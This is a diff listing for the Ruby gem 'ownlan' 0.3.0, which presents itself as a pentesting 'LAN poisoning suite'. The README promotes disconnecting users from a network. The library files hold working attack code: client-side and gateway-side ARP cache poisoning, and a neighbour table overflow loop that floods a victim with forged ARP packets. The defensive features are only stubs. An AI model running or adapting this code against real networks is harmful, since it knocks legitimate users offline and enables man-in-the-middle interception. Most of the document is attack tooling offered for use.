ownlan 0.3.0
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +7 -0
- data/.rspec +2 -0
- data/.travis.yml +4 -0
- data/Gemfile +4 -0
- data/Gemfile.lock +64 -0
- data/MIT-LICENSE.txt +20 -0
- data/README.md +59 -0
- data/Rakefile +6 -0
- data/bin/ownlan +6 -0
- data/lib/ownlan/application.rb +47 -0
- data/lib/ownlan/attack/base.rb +29 -0
- data/lib/ownlan/attack/client.rb +18 -0
- data/lib/ownlan/attack/fake_ip_conflict.rb +6 -0
- data/lib/ownlan/attack/gateway.rb +21 -0
- data/lib/ownlan/attack/ntoa.rb +58 -0
- data/lib/ownlan/cli.rb +83 -0
- data/lib/ownlan/config.rb +55 -0
- data/lib/ownlan/exceptions.rb +6 -0
- data/lib/ownlan/manual/broadcast.rb +6 -0
- data/lib/ownlan/manual/capture.rb +6 -0
- data/lib/ownlan/protect/base.rb +6 -0
- data/lib/ownlan/protect/freeze.rb +6 -0
- data/lib/ownlan/protect/resynchronize.rb +6 -0
- data/lib/ownlan/protect/static.rb +6 -0
- data/lib/ownlan/protect/stealth.rb +6 -0
- data/lib/ownlan/service_objects/craft_arp_packets.rb +31 -0
- data/lib/ownlan/service_objects/network_information.rb +15 -0
- data/lib/ownlan/service_objects/send_arp_packets.rb +27 -0
- data/lib/ownlan/version.rb +3 -0
- data/lib/ownlan.rb +41 -0
- data/ownlan.gemspec +36 -0
- data/pkg/ownlan-0.1.0.gem +0 -0
- data/pkg/ownlan-0.3.0.gem +0 -0
- metadata +177 -0
checksums.yaml
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
---
|
2
|
+
SHA1:
|
3
|
+
metadata.gz: 658740cd319738b37e958afd1eebeb078ce837b8
|
4
|
+
data.tar.gz: 19c72648c6c78002d5baa76b3e007490acf1eed4
|
5
|
+
SHA512:
|
6
|
+
metadata.gz: d160941ba71b2a09558ed126127ffa77e93244983633e9fd0071556fa0cb12dd7eaee9c8c6c7d871b1866ad53a8f72e56301be2665e17dfd2047eddcefac2cab
|
7
|
+
data.tar.gz: db524183b9da4cc8b9a0058643feeb8422bd668f5034e695c999bb5902be78c2ced117bbbcf1a5d4cf7ef1657779787f30afd96719e5e1d467af6c4a3751a60f
|
data/.rspec
ADDED
data/.travis.yml
ADDED
data/Gemfile
ADDED
data/Gemfile.lock
ADDED
@@ -0,0 +1,64 @@
|
|
1
|
+
PATH
|
2
|
+
remote: .
|
3
|
+
specs:
|
4
|
+
ownlan (0.3.0)
|
5
|
+
activesupport
|
6
|
+
packetfu
|
7
|
+
trollop
|
8
|
+
|
9
|
+
GEM
|
10
|
+
remote: https://rubygems.org/
|
11
|
+
specs:
|
12
|
+
activesupport (4.2.3)
|
13
|
+
i18n (~> 0.7)
|
14
|
+
json (~> 1.7, >= 1.7.7)
|
15
|
+
minitest (~> 5.1)
|
16
|
+
thread_safe (~> 0.3, >= 0.3.4)
|
17
|
+
tzinfo (~> 1.1)
|
18
|
+
coderay (1.1.0)
|
19
|
+
diff-lcs (1.2.5)
|
20
|
+
i18n (0.7.0)
|
21
|
+
json (1.8.3)
|
22
|
+
method_source (0.8.2)
|
23
|
+
minitest (5.8.3)
|
24
|
+
network_interface (0.0.1)
|
25
|
+
packetfu (1.1.11)
|
26
|
+
network_interface (~> 0.0)
|
27
|
+
pcaprub (~> 0.12)
|
28
|
+
pcaprub (0.12.0)
|
29
|
+
pry (0.10.1)
|
30
|
+
coderay (~> 1.1.0)
|
31
|
+
method_source (~> 0.8.1)
|
32
|
+
slop (~> 3.4)
|
33
|
+
rake (10.4.2)
|
34
|
+
rspec (3.3.0)
|
35
|
+
rspec-core (~> 3.3.0)
|
36
|
+
rspec-expectations (~> 3.3.0)
|
37
|
+
rspec-mocks (~> 3.3.0)
|
38
|
+
rspec-core (3.3.2)
|
39
|
+
rspec-support (~> 3.3.0)
|
40
|
+
rspec-expectations (3.3.1)
|
41
|
+
diff-lcs (>= 1.2.0, < 2.0)
|
42
|
+
rspec-support (~> 3.3.0)
|
43
|
+
rspec-mocks (3.3.2)
|
44
|
+
diff-lcs (>= 1.2.0, < 2.0)
|
45
|
+
rspec-support (~> 3.3.0)
|
46
|
+
rspec-support (3.3.0)
|
47
|
+
slop (3.6.0)
|
48
|
+
thread_safe (0.3.5)
|
49
|
+
trollop (2.1.2)
|
50
|
+
tzinfo (1.2.2)
|
51
|
+
thread_safe (~> 0.1)
|
52
|
+
|
53
|
+
PLATFORMS
|
54
|
+
ruby
|
55
|
+
|
56
|
+
DEPENDENCIES
|
57
|
+
bundler (~> 1.11)
|
58
|
+
ownlan!
|
59
|
+
pry
|
60
|
+
rake (~> 10.0)
|
61
|
+
rspec (~> 3.0)
|
62
|
+
|
63
|
+
BUNDLED WITH
|
64
|
+
1.11.2
|
data/MIT-LICENSE.txt
ADDED
@@ -0,0 +1,20 @@
|
|
1
|
+
Copyright (c) 2016 Sidney Sissaoui
|
2
|
+
|
3
|
+
Permission is hereby granted, free of charge, to any person obtaining
|
4
|
+
a copy of this software and associated documentation files (the
|
5
|
+
"Software"), to deal in the Software without restriction, including
|
6
|
+
without limitation the rights to use, copy, modify, merge, publish,
|
7
|
+
distribute, sublicense, and/or sell copies of the Software, and to
|
8
|
+
permit persons to whom the Software is furnished to do so, subject to
|
9
|
+
the following conditions:
|
10
|
+
|
11
|
+
The above copyright notice and this permission notice shall be
|
12
|
+
included in all copies or substantial portions of the Software.
|
13
|
+
|
14
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
|
15
|
+
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
16
|
+
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
|
17
|
+
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
|
18
|
+
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
|
19
|
+
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
|
20
|
+
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
data/README.md
ADDED
@@ -0,0 +1,59 @@
|
|
1
|
+
# OwnLan
|
2
|
+
|
3
|
+
**Ownlan** aims to be a simple, concise and useful pentesting LAN poisoning suite, Written in ``Ruby`` and using ``PacketFU`` for reading and sending the packets on the wire. I decided to make this suite of tools mainly due do to the lack of existing tools on Linux, on top of helping me understanding the whole process behind the scene. OwnLan got uniques features, with some exclusives and excitings attacks probably never ever used on a (pentesting) network.
|
4
|
+
|
5
|
+
## Features
|
6
|
+
|
7
|
+
**OwnLan** has four features:
|
8
|
+
|
9
|
+
1. Disconnect one or several users off the wire
|
10
|
+
2. Protecting users from these kind of attacks
|
11
|
+
3. Sending ARP + DHCP packets easily (manual way)
|
12
|
+
4. Easy ARP packets capture
|
13
|
+
|
14
|
+
### Disconnecting users off the wire
|
15
|
+
|
16
|
+
The biggest part of **OwnLan**. It disconnects clients thanks to severals techniques:
|
17
|
+
|
18
|
+
- Client side ARP Cache Poisoning (**first duplex**). *The most used and common attack nowadays, the main purpose is to make a MITM attack, but alone (= without IP forwarding), it will disconnect the client. Used by ``TuxCut`` and ``Arpspoof`` . If no MAC Adress is given, yours will be given.*
|
19
|
+
- Gateway side ARP Cache Poisoning (**second duplex**). *A less known attack and powerful one, used by ``NetCut`` , the principle is to give the gateway a fake correspondancy of the victim MAC Adress to make the later one unreachable. If no MAC Adress is given, yours will be given.*
|
20
|
+
- Neighbour Table Overflow attack. *I invented this attack, not to be modest. In fact, I should say 'implemented' since, usually, it is the gateway which is attacked (even so, this one attack is very rare), here, we attack the client directly. I don't think anyone has ever thought of this... and it works! The **NTOA** will not insert random MAC adress, but following a scheme, to ensure that 2 same mac adress won't be injected. So, it makes the attack faster. One client or all clients can be specified.*
|
21
|
+
- Gateway ARP Cache Overflow. *This attack will render the GateWay ARP Cache unusable, and will make a loss of connectivity to all the clients. Some CISCO routers are immuned to this attack though*
|
22
|
+
- DHCP Lease Spoofing [Not Implemented]. *This attack will spoof DHCP lease (udp) packet by telling the DHCP server 'Hello, I don't use this IP anymore, just disconnect me' . As of today, this attack is extremly rare, difficult to make, and used only by ``Yersinia`` . There is nothing to prevent this attack, after it has been used. Really.
|
23
|
+
|
24
|
+
### Protecting [Not implemented]
|
25
|
+
|
26
|
+
#### Prevention
|
27
|
+
|
28
|
+
- A mix between arptables and iptables to become invisible in the network is a good fix to prevent ALL of the attacks. Please note that it is a prevention measure, and not a fix.
|
29
|
+
|
30
|
+
#### Counter-Measure
|
31
|
+
|
32
|
+
- Against a client side arp cache poisoning, OwnLan will set a static ARP Cache.
|
33
|
+
- Against a client side or gateway side arp cache poisoning, Ownlan can send continuous fix packet to recreate the right correspondancy. It can be used for fixing other clients in the network.
|
34
|
+
- Against a NTOA, Ownlan will delete all the cache, will set a static ARP cache on top of freezing the whole thing.
|
35
|
+
|
36
|
+
### Sending Raw Packet [Not implemented]
|
37
|
+
|
38
|
+
#### ARP
|
39
|
+
|
40
|
+
ownlan -sm [source-mac] -dm [destination-mac] -sip [source-ip] -dip [destination-ip] -op [1/2]
|
41
|
+
|
42
|
+
OP is the opcode: 1 for ARP Request, 2 for ARP Reply
|
43
|
+
|
44
|
+
#### DHCP (udp) [Not Implemented]
|
45
|
+
|
46
|
+
## Notes
|
47
|
+
|
48
|
+
- If you put the -ic to option, you will generate a fake IP Conflict to lure the client to the wrong way of handling his connection loss
|
49
|
+
|
50
|
+
- The handy thing in this tools, is that thanks to all these options, you will literally be able to do whatever ARP Cache poisonning attack you wish to make. For instance, if you want to make a Full Duplex attack, use the first and second duplex attack as specified above.
|
51
|
+
|
52
|
+
- OwnLan is way faster than ``arpspoof``, and can make 1000 times more requests per seconds than it. You can specify the delay between each request by specifying whatever attack you do : '-d [integer]' . Replace [integer] by some number in miliseconds.
|
53
|
+
|
54
|
+
## Exemples
|
55
|
+
|
56
|
+
[To do]
|
57
|
+
|
58
|
+
|
59
|
+
Copyright (c) 2016 Sidney Sissaoui, released under the MIT license
|
data/Rakefile
ADDED
data/bin/ownlan
ADDED
@@ -0,0 +1,47 @@
|
|
1
|
+
module Ownlan
|
2
|
+
class Application
|
3
|
+
|
4
|
+
attr_reader :raw_options, :config
|
5
|
+
|
6
|
+
def initialize(options)
|
7
|
+
@raw_options = options
|
8
|
+
|
9
|
+
@config = ::Ownlan.config.dup
|
10
|
+
|
11
|
+
config_options = raw_options.reject{ |k, v| k.to_s.match('_given') || !v }
|
12
|
+
set_options(config_options)
|
13
|
+
end
|
14
|
+
|
15
|
+
def call
|
16
|
+
action = config.modes.find do |type, modes|
|
17
|
+
modes.find { |mode| process(type, mode) }
|
18
|
+
end
|
19
|
+
|
20
|
+
show_menu unless action
|
21
|
+
end
|
22
|
+
|
23
|
+
private
|
24
|
+
|
25
|
+
def show_menu
|
26
|
+
Trollop.educate
|
27
|
+
rescue ArgumentError
|
28
|
+
raise ::Ownlan::MissingArgumentError, 'Missing or Invalid parameter.'
|
29
|
+
end
|
30
|
+
|
31
|
+
def set_options(config_options)
|
32
|
+
config_options.each { |k, v| config.send("#{k}=", v) }
|
33
|
+
end
|
34
|
+
|
35
|
+
def process(type, mode)
|
36
|
+
return unless good_args?(type, mode)
|
37
|
+
"Ownlan::#{type.capitalize}::#{mode.capitalize}".constantize.new(config).process
|
38
|
+
rescue ::NoMethodError
|
39
|
+
show_menu
|
40
|
+
end
|
41
|
+
|
42
|
+
def good_args?(type, mode)
|
43
|
+
raw_options[type] == mode.to_s
|
44
|
+
end
|
45
|
+
|
46
|
+
end
|
47
|
+
end
|
@@ -0,0 +1,29 @@
|
|
1
|
+
module Ownlan
|
2
|
+
module Attack
|
3
|
+
class Base
|
4
|
+
|
5
|
+
attr_reader :config
|
6
|
+
|
7
|
+
def initialize(config)
|
8
|
+
@config = config
|
9
|
+
end
|
10
|
+
|
11
|
+
private
|
12
|
+
|
13
|
+
def victim_ip
|
14
|
+
config.victim_ip ||= raise ::Ownlan::MissingArgumentError, 'victim_ip parameter is missing.'
|
15
|
+
end
|
16
|
+
|
17
|
+
def victim_mac
|
18
|
+
mac = ::PacketFu::Utils::arp(victim_ip, iface: config.interface)
|
19
|
+
mac ||= raise ::Ownlan::VictimNotReachable, "#{victim_ip}'s mac address cannot be guessed."
|
20
|
+
rescue ArgumentError
|
21
|
+
raise ::Ownlan::WrongVictimIpFormat, "#{victim_ip} is not a valid ip format."
|
22
|
+
end
|
23
|
+
|
24
|
+
def self_mac
|
25
|
+
ServiceObjects::NetworkInformation.self_mac(config.interface)
|
26
|
+
end
|
27
|
+
end
|
28
|
+
end
|
29
|
+
end
|
@@ -0,0 +1,18 @@
|
|
1
|
+
module Ownlan
|
2
|
+
module Attack
|
3
|
+
class Client < Base
|
4
|
+
|
5
|
+
def process
|
6
|
+
gw_ip = `netstat -rn | grep 0.0.0.0 | awk '{print $2}' | grep -v "0.0.0.0"`
|
7
|
+
client_mac = PacketFu::Utils::arp(config.client_ip, :iface => config.interface)
|
8
|
+
|
9
|
+
config.source_mac.nil? ? saddr = ServiceObjects::self_mac(config.interface) : saddr = config.source_mac
|
10
|
+
daddr = client_mac
|
11
|
+
saddr_ip = gw_ip
|
12
|
+
daddr_ip = config.client_ip
|
13
|
+
crafted_packet = packet_craft(saddr, daddr, saddr_ip, daddr_ip, daddr_ip, config.delay, config.interface)
|
14
|
+
send_packet(config.delay, config.interface, crafted_packet)
|
15
|
+
end
|
16
|
+
end
|
17
|
+
end
|
18
|
+
end
|
@@ -0,0 +1,21 @@
|
|
1
|
+
module Ownlan
|
2
|
+
module Attack
|
3
|
+
class Gateway < Base
|
4
|
+
|
5
|
+
def process
|
6
|
+
gw_ip = `netstat -rn | grep 0.0.0.0 | awk '{print $2}' | grep -v "0.0.0.0"`
|
7
|
+
gw_mac = PacketFu::Utils::arp(gw_ip, :iface => interface)
|
8
|
+
|
9
|
+
config.source_mac.nil? ? saddr = ServiceObjects::NetworkInformation.self_mac(interface) : saddr = config.source_mac
|
10
|
+
|
11
|
+
daddr = gw_mac
|
12
|
+
saddr_ip = config.client_ip
|
13
|
+
daddr_ip = gw_ip
|
14
|
+
|
15
|
+
crafted_packet = packet_craft(saddr, daddr, saddr_ip, daddr_ip, saddr_ip, config.delay, interface)
|
16
|
+
send_packet(config.delay, config.interface, crafted_packet)
|
17
|
+
end
|
18
|
+
|
19
|
+
end
|
20
|
+
end
|
21
|
+
end
|
@@ -0,0 +1,58 @@
|
|
1
|
+
module Ownlan
|
2
|
+
module Attack
|
3
|
+
class Ntoa < Base
|
4
|
+
|
5
|
+
def process
|
6
|
+
@a = 10
|
7
|
+
@b = 10
|
8
|
+
@c = 10
|
9
|
+
@i = 0
|
10
|
+
|
11
|
+
saddr = "00:03:FF:#{@a}:#{@b}:#{@c}"
|
12
|
+
daddr = victim_mac
|
13
|
+
saddr_ip = "#{source_ip_base}.#{@b}.#{@c}"
|
14
|
+
daddr_ip = victim_ip
|
15
|
+
|
16
|
+
crafted_packet = ServiceObjects::CraftArpPacket.new(config, saddr, daddr, saddr_ip, daddr_ip).call
|
17
|
+
|
18
|
+
loop do
|
19
|
+
while @a < 100 do
|
20
|
+
@b = 10
|
21
|
+
@a += 1
|
22
|
+
while @b < 100 && @a < 100 do
|
23
|
+
@c = 10
|
24
|
+
@b += 1
|
25
|
+
while @c < 100 && @b < 100 do
|
26
|
+
@c += 1
|
27
|
+
|
28
|
+
crafted_packet.eth_saddr = source_mac(@a, @b, @c)
|
29
|
+
crafted_packet.arp_saddr_mac = source_mac(@a, @b, @c)
|
30
|
+
|
31
|
+
crafted_packet.arp_saddr_ip = "#{source_ip_base}.#{(@b - 10) }.#{(@c - 10)}"
|
32
|
+
|
33
|
+
crafted_packet.to_w(config.interface)
|
34
|
+
@i += 1
|
35
|
+
print "\r The ARP packet has been sent successfully #{@i} times"
|
36
|
+
sleep config.delay
|
37
|
+
end
|
38
|
+
end
|
39
|
+
end
|
40
|
+
end
|
41
|
+
end
|
42
|
+
|
43
|
+
private
|
44
|
+
|
45
|
+
def source_ip_base
|
46
|
+
ServiceObjects::NetworkInformation.self_ip.to_s.split('.')[0..1].join('.')
|
47
|
+
end
|
48
|
+
|
49
|
+
def source_mac(a=nil, b=nil, c=nil)
|
50
|
+
if config.random_mac
|
51
|
+
"00:03:FF:#{@a}:#{@b}:#{@c}"
|
52
|
+
else
|
53
|
+
self_mac
|
54
|
+
end
|
55
|
+
end
|
56
|
+
end
|
57
|
+
end
|
58
|
+
end
|
data/lib/ownlan/cli.rb
ADDED
@@ -0,0 +1,83 @@
|
|
1
|
+
module Ownlan
|
2
|
+
class Cli
|
3
|
+
|
4
|
+
def self.options
|
5
|
+
Trollop::options do
|
6
|
+
|
7
|
+
version "OwnLan (c) 2016 Sidney Sissaoui, published under the MIT Licence"
|
8
|
+
banner <<-EOS
|
9
|
+
|
10
|
+
-- Ownlan is a simple, useful yet awesome pentesting LAN poisoning suite. --
|
11
|
+
|
12
|
+
Usage:
|
13
|
+
ownlan --[options] [sub-options] --[other-option]
|
14
|
+
|
15
|
+
Example:
|
16
|
+
ownlan --attack client --target-ip 192.168.0.1 --interface eth0 --delay 0
|
17
|
+
|
18
|
+
where [options] are either:
|
19
|
+
EOS
|
20
|
+
|
21
|
+
opt :attack, "Set an attack on a device on the network", short: 'a', type: :string
|
22
|
+
opt :protect, "Protect a device from lan attacks", short: 'p', type: :string
|
23
|
+
opt :broadcast, "Inject ARP crafted packets in the wire", short: 'b', type: :string
|
24
|
+
opt :capture, "Sniffing ARP packets on the network", short: 'c', type: :string
|
25
|
+
|
26
|
+
# Attack part
|
27
|
+
banner <<-EOS
|
28
|
+
|
29
|
+
where [sub-options] are either:
|
30
|
+
|
31
|
+
Attacks sub-options :
|
32
|
+
client Set a First-Duplex disconnection attack (the client is targeted). If no source mac argument, yours will be given (useful for MITM Attacks).
|
33
|
+
* Require options: victim_ip
|
34
|
+
gateway Set a Second-Duplex disconnection attack (the gateway is targeted). If no source mac argument, yours will be given (useful for MITM Attacks).
|
35
|
+
* Require options: victim_ip
|
36
|
+
ntoa The client is targeted to get disconnected, using a neighbour table overflow attack. Requires a victim ip.
|
37
|
+
* Require options: victim_ip
|
38
|
+
* Falcultative options: random_source_mac
|
39
|
+
fake-ip-conflict Generate a fake ip conflict to the victim. Can be used along all the others attacks, or alone.
|
40
|
+
* Require options: victim_ip
|
41
|
+
EOS
|
42
|
+
|
43
|
+
|
44
|
+
# Protect part
|
45
|
+
banner <<-EOS
|
46
|
+
|
47
|
+
Protect sub-options:
|
48
|
+
stealth Becomes invisible from network scanners, preventing you from getting targeted.
|
49
|
+
static Set a static ARP Cache for the current session. Good against first-duplex ARP Cache Poisoning.
|
50
|
+
freeze Reset and Freeze your ARP Cache. Good against NTOAs.
|
51
|
+
resynchronize Resynchronize the Gateway ARP Cache by sending to it continuous healthy correspondancies packets to protect someone or yourself from gateway attack. (reveive IP or MAC argument)
|
52
|
+
|
53
|
+
EOS
|
54
|
+
|
55
|
+
# Broadcast part
|
56
|
+
banner <<-EOS
|
57
|
+
|
58
|
+
Send sub-options:
|
59
|
+
|
60
|
+
EOS
|
61
|
+
|
62
|
+
# Capture part
|
63
|
+
banner <<-EOS
|
64
|
+
Capture sub-options:
|
65
|
+
|
66
|
+
EOS
|
67
|
+
|
68
|
+
# Other options part
|
69
|
+
banner <<-EOS
|
70
|
+
Other Options:
|
71
|
+
|
72
|
+
EOS
|
73
|
+
|
74
|
+
opt :delay, "Set the time lapse delay between each packet", default: 0.5
|
75
|
+
opt :interface, "Set the network interface which will be used", short: 'i', default: 'wlan0'
|
76
|
+
opt :random_source_mac, "If setted, the used origin addresses will be randomly generated. If not specified, the corresponding mac of your given interface will be used #{mac=ServiceObjects::NetworkInformation.self_mac('wlan0') ; ', in your case ' + mac + ' for wlan0' if !mac.empty?}"
|
77
|
+
opt :victim_ip, "Set the ip of the target ip address.", short: 't', type: :string
|
78
|
+
opt :source_mac, "Set the mac of the source mac address.", short: 's', type: :string
|
79
|
+
|
80
|
+
end
|
81
|
+
end
|
82
|
+
end
|
83
|
+
end
|
@@ -0,0 +1,55 @@
|
|
1
|
+
module Ownlan
|
2
|
+
|
3
|
+
# Access point for the gem configurations.
|
4
|
+
#
|
5
|
+
# @return [Ownlan::Configuration] a configuration instance.
|
6
|
+
def self.config
|
7
|
+
@config ||= Configuration.new
|
8
|
+
end
|
9
|
+
|
10
|
+
# Configure hook used in the gem initializer. Convinient way to set all the
|
11
|
+
# gem configurations.
|
12
|
+
#
|
13
|
+
# example:
|
14
|
+
# Ownlan.configure do |config|
|
15
|
+
# config.depth = 3
|
16
|
+
# end
|
17
|
+
#
|
18
|
+
# @return [void]
|
19
|
+
def self.configure
|
20
|
+
yield config if block_given?
|
21
|
+
end
|
22
|
+
|
23
|
+
class Configuration
|
24
|
+
|
25
|
+
attr_accessor :attack, :protect, :broadcast, :capture, :client, :gateway, :ntoa, :fake_ip_conflict, :stealth,
|
26
|
+
:static, :freeze, :resynchronize, :delay, :interface, :version, :help, :victim_ip, :random_mac, :modes
|
27
|
+
|
28
|
+
# Create a new instance.
|
29
|
+
#
|
30
|
+
# @return [Ownlan::Configuration]
|
31
|
+
def initialize
|
32
|
+
@modes = { attack: attack_sub_modes, protect: protect_sub_modes, manual: manual_sub_modes }
|
33
|
+
@interface = 'wlan0'
|
34
|
+
@delay = 0.5
|
35
|
+
end
|
36
|
+
|
37
|
+
private
|
38
|
+
|
39
|
+
def main_modes
|
40
|
+
[:attack, :protect, :manual]
|
41
|
+
end
|
42
|
+
|
43
|
+
def attack_sub_modes
|
44
|
+
[:client, :gateway, :ntoa, :fake_ip_conflict]
|
45
|
+
end
|
46
|
+
|
47
|
+
def protect_sub_modes
|
48
|
+
[:freeze, :resynchronize, :static, :stealth]
|
49
|
+
end
|
50
|
+
|
51
|
+
def manual_sub_modes
|
52
|
+
[:broadcast, :capture]
|
53
|
+
end
|
54
|
+
end
|
55
|
+
end
|
@@ -0,0 +1,31 @@
|
|
1
|
+
module ServiceObjects
|
2
|
+
class CraftArpPacket
|
3
|
+
attr_reader :saddr, :daddr, :saddr_ip, :daddr_ip
|
4
|
+
|
5
|
+
def initialize(config, saddr, daddr, saddr_ip, daddr_ip)
|
6
|
+
@delay = config.delay
|
7
|
+
@interface = config.interface
|
8
|
+
|
9
|
+
@saddr = saddr
|
10
|
+
@daddr = daddr
|
11
|
+
@saddr_ip = saddr_ip
|
12
|
+
@daddr_ip = daddr_ip
|
13
|
+
|
14
|
+
end
|
15
|
+
|
16
|
+
def call
|
17
|
+
arp_packet = ::PacketFu::ARPPacket.new
|
18
|
+
|
19
|
+
arp_packet.eth_saddr = saddr
|
20
|
+
arp_packet.eth_daddr = daddr
|
21
|
+
arp_packet.arp_saddr_mac = saddr
|
22
|
+
arp_packet.arp_daddr_mac = daddr
|
23
|
+
arp_packet.arp_saddr_ip = saddr_ip
|
24
|
+
arp_packet.arp_daddr_ip = daddr_ip
|
25
|
+
arp_packet.arp_opcode = 1
|
26
|
+
|
27
|
+
arp_packet
|
28
|
+
end
|
29
|
+
|
30
|
+
end
|
31
|
+
end
|
@@ -0,0 +1,15 @@
|
|
1
|
+
module ServiceObjects
|
2
|
+
class NetworkInformation
|
3
|
+
def self.self_mac(interface)
|
4
|
+
@self_mac ||= `ifconfig | grep '#{interface}' | tr -s ' ' | cut -d ' ' -f5`.strip
|
5
|
+
end
|
6
|
+
|
7
|
+
def self.gateway_ip
|
8
|
+
@gateway_ip ||= `netstat -rn | grep 0.0.0.0 | awk '{print $2}' | grep -v "0.0.0.0"`.strip
|
9
|
+
end
|
10
|
+
|
11
|
+
def self.self_ip
|
12
|
+
@self_ip ||= Socket.ip_address_list.detect{|intf| intf.ipv4_private?}.ip_address
|
13
|
+
end
|
14
|
+
end
|
15
|
+
end
|
@@ -0,0 +1,27 @@
|
|
1
|
+
module ServiceObjects
|
2
|
+
class SendArpPackets
|
3
|
+
attr_reader :arp_packet, :config
|
4
|
+
|
5
|
+
def initialize(application, packet)
|
6
|
+
@packet = packet
|
7
|
+
@config = application.config
|
8
|
+
end
|
9
|
+
|
10
|
+
def call
|
11
|
+
@i = 0
|
12
|
+
|
13
|
+
Thread.new do
|
14
|
+
while true
|
15
|
+
print "\r The ARP packet has been sent successfully #{@i} times"
|
16
|
+
end
|
17
|
+
end
|
18
|
+
|
19
|
+
while true
|
20
|
+
@i += 1
|
21
|
+
packet.to_w(config.interface)
|
22
|
+
sleep config.delay
|
23
|
+
end
|
24
|
+
end
|
25
|
+
|
26
|
+
end
|
27
|
+
end
|
data/lib/ownlan.rb
ADDED
@@ -0,0 +1,41 @@
|
|
1
|
+
require 'ownlan/application'
|
2
|
+
require 'ownlan/config.rb'
|
3
|
+
require 'ownlan/cli'
|
4
|
+
require 'ownlan/exceptions'
|
5
|
+
require 'ownlan/attack/base.rb'
|
6
|
+
require 'ownlan/attack/client.rb'
|
7
|
+
require 'ownlan/attack/fake_ip_conflict.rb'
|
8
|
+
require 'ownlan/attack/gateway.rb'
|
9
|
+
require 'ownlan/attack/ntoa.rb'
|
10
|
+
require 'ownlan/manual/capture.rb'
|
11
|
+
require 'ownlan/manual/broadcast.rb'
|
12
|
+
require 'ownlan/protect/freeze.rb'
|
13
|
+
require 'ownlan/protect/resynchronize.rb'
|
14
|
+
require 'ownlan/protect/static.rb'
|
15
|
+
require 'ownlan/protect/stealth.rb'
|
16
|
+
require 'ownlan/service_objects/craft_arp_packets'
|
17
|
+
require 'ownlan/service_objects/send_arp_packets'
|
18
|
+
require 'ownlan/service_objects/network_information'
|
19
|
+
require 'active_support/inflector'
|
20
|
+
require 'thread'
|
21
|
+
require 'trollop'
|
22
|
+
require 'pry'
|
23
|
+
require 'packetfu'
|
24
|
+
|
25
|
+
|
26
|
+
|
27
|
+
module Ownlan
|
28
|
+
|
29
|
+
class << self
|
30
|
+
|
31
|
+
attr_reader :application
|
32
|
+
|
33
|
+
def new(opts)
|
34
|
+
@application = Ownlan::Application.new(opts)
|
35
|
+
end
|
36
|
+
|
37
|
+
def call
|
38
|
+
application.call
|
39
|
+
end
|
40
|
+
end
|
41
|
+
end
|
data/ownlan.gemspec
ADDED
@@ -0,0 +1,36 @@
|
|
1
|
+
# coding: utf-8
|
2
|
+
lib = File.expand_path('../lib', __FILE__)
|
3
|
+
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
|
4
|
+
require 'ownlan/version'
|
5
|
+
|
6
|
+
Gem::Specification.new do |spec|
|
7
|
+
spec.name = 'ownlan'
|
8
|
+
spec.version = Ownlan::VERSION
|
9
|
+
spec.authors = ['sidney']
|
10
|
+
spec.email = ['shideneyu@gmail.com']
|
11
|
+
spec.summary = 'Ownlan aims to be a simple, concise and useful pentesting LAN poisoning suite'
|
12
|
+
spec.description = 'Ownlan is used to test a network against MITM attacks, and then to secure it.'
|
13
|
+
spec.homepage = 'https://github.com/shideneyu/ownlan'
|
14
|
+
spec.license = 'MIT'
|
15
|
+
spec.required_ruby_version = '~> 2.1.2'
|
16
|
+
|
17
|
+
# Prevent pushing this gem to RubyGems.org by setting 'allowed_push_host', or
|
18
|
+
# delete this section to allow pushing this gem to any host.
|
19
|
+
if spec.respond_to?(:metadata)
|
20
|
+
spec.metadata['allowed_push_host'] = 'https://rubygems.org'
|
21
|
+
else
|
22
|
+
raise 'RubyGems 2.0 or newer is required to protect against public gem pushes.'
|
23
|
+
end
|
24
|
+
|
25
|
+
spec.files = `git ls-files -z`.split("\x0").reject { |f| f.match(%r{^(test|spec|features)/}) }
|
26
|
+
spec.executables = ['ownlan']
|
27
|
+
spec.require_paths = ['lib']
|
28
|
+
|
29
|
+
spec.add_dependency 'packetfu'
|
30
|
+
spec.add_dependency 'trollop'
|
31
|
+
spec.add_dependency 'activesupport'
|
32
|
+
spec.add_development_dependency 'bundler', '~> 1.11'
|
33
|
+
spec.add_development_dependency 'rake', '~> 10.0'
|
34
|
+
spec.add_development_dependency 'rspec', '~> 3.0'
|
35
|
+
spec.add_development_dependency 'pry'
|
36
|
+
end
|
Binary file
|
Binary file
|
metadata
ADDED
@@ -0,0 +1,177 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: ownlan
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 0.3.0
|
5
|
+
platform: ruby
|
6
|
+
authors:
|
7
|
+
- sidney
|
8
|
+
autorequire:
|
9
|
+
bindir: bin
|
10
|
+
cert_chain: []
|
11
|
+
date: 2016-01-21 00:00:00.000000000 Z
|
12
|
+
dependencies:
|
13
|
+
- !ruby/object:Gem::Dependency
|
14
|
+
name: packetfu
|
15
|
+
requirement: !ruby/object:Gem::Requirement
|
16
|
+
requirements:
|
17
|
+
- - ">="
|
18
|
+
- !ruby/object:Gem::Version
|
19
|
+
version: '0'
|
20
|
+
type: :runtime
|
21
|
+
prerelease: false
|
22
|
+
version_requirements: !ruby/object:Gem::Requirement
|
23
|
+
requirements:
|
24
|
+
- - ">="
|
25
|
+
- !ruby/object:Gem::Version
|
26
|
+
version: '0'
|
27
|
+
- !ruby/object:Gem::Dependency
|
28
|
+
name: trollop
|
29
|
+
requirement: !ruby/object:Gem::Requirement
|
30
|
+
requirements:
|
31
|
+
- - ">="
|
32
|
+
- !ruby/object:Gem::Version
|
33
|
+
version: '0'
|
34
|
+
type: :runtime
|
35
|
+
prerelease: false
|
36
|
+
version_requirements: !ruby/object:Gem::Requirement
|
37
|
+
requirements:
|
38
|
+
- - ">="
|
39
|
+
- !ruby/object:Gem::Version
|
